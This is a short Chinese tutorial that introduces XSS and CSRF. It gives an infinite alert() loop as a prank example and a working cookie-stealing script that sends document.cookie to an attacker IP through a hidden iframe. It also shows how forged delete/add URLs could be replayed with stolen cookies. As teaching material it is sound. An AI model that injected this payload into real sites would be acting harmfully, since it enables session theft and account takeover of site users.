XSS: 跨站腳本(cross-site scripting)
CSRF:跨站請求偽造(cross-site request forgery)
那么XSS與CORF到底是什么##
XSS###
xss,關(guān)鍵字在于腳本二字,他是注入攻擊的一種,特點(diǎn)是對服務(wù)器端沒有任何影響,相對CSRF來說也是容易解決的。但是在客戶端不處理的話,也是有很大的危害。
舉個(gè)例子####
假如某個(gè)論壇的評論功能里沒有預(yù)防xss,那么你在里面加入下面這段代碼,它就會自動執(zhí)行,就會造成,每當(dāng)用戶訪問這么頁面,就會不停地彈窗。很難受的惡作劇。
while(true)
{
alert('別想關(guān)掉我')
}
然而這只是簡單的情況,萬一加入的是惡意的javascript代碼,就會帶來很大的危害。
比如,竊取用戶的cookie
(function(window, document) {
// 構(gòu)造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用于通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
這樣就建立了一個(gè)立即執(zhí)行的匿名函數(shù),在原本的頁面上增加了一個(gè)隱藏的框架,不斷竊取cookie并且發(fā)送,而且因?yàn)槭谦@取cookie之后才建立的非同源框架,繞開了跨域問題,攻擊者的后臺就可以利用這些cookie在有效期內(nèi)做各種事情,比如刪帖,發(fā)帖之類的。。
就這樣將代碼注入直接注入前端代碼的情況,也就是XSS
在這之后,如果通過之前獲取的cookie進(jìn)行增刪請求,這便是,CSRF攻擊,通過偽造用戶來達(dá)到發(fā)送請求來達(dá)到攻擊的目的。
CSRF###
CSRF:通過偽造用戶來達(dá)到發(fā)送請求來達(dá)到攻擊的目的。
假如某個(gè)網(wǎng)站沒有安全驗(yàn)證(實(shí)際不存在。。),他的增刪請求是通過特定的URL發(fā)送請求,
http://www.a.com/xx?id=215&method='delete'//刪除
http://www.a.com/xx?id=125&method=‘a(chǎn)dd’//添加
現(xiàn)在我們找到了規(guī)律,id便是用戶標(biāo)識,method便是操作,那么對這個(gè)URL發(fā)起請求,服務(wù)器以為我們是用戶在進(jìn)行操作,允許了操作,這便是CSRF攻擊
借用上例####
一般情況下,發(fā)起請求是有cookie驗(yàn)證的,這也就說明了cookie的重要性,所以在上例中如果竊取了用戶的cookie,理想狀態(tài)下就能進(jìn)行CSRF攻擊(當(dāng)然服務(wù)器沒這么蠢。。),下篇文章將會說一說現(xiàn)實(shí)中的xss注入攻擊和CSRF攻擊的一般防御措施